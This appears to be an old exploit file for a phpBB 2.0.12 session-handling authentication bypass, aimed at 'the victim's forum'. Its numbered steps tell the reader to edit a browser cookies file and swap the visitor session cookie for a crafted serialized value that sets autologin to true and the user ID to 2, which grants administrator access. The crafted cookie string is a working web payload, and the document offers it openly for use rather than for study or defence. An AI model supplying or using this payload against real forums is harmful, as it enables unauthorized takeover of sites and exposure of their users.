phpBBsession.txt

`phpBB 2.0.12 Session Handling Authentication Bypass ..  
  
easy to use exploit ..  
  
** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..  
  
1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:  
  
3- Close the Browser ..  
  
2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example ;)  
  
and you will find something like :  
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127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D  
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where 127.0.0.1 is the domain for the forum << tested on localhost  
and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor  
  
3- ok..let's do it !! ..  
now open cookies.txt with your text editor  
and replace  
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127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D  
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with  
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127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D  
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save the cookies.txt..  
  
4- Open your Browser..and go to the exploited forum ..  
>>enjoy Hi Permission mode !! :D  
  
complete the mission by clicking " Go to Administration Panel "  
  
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written by : Ali7  
e-mail : [email protected]  
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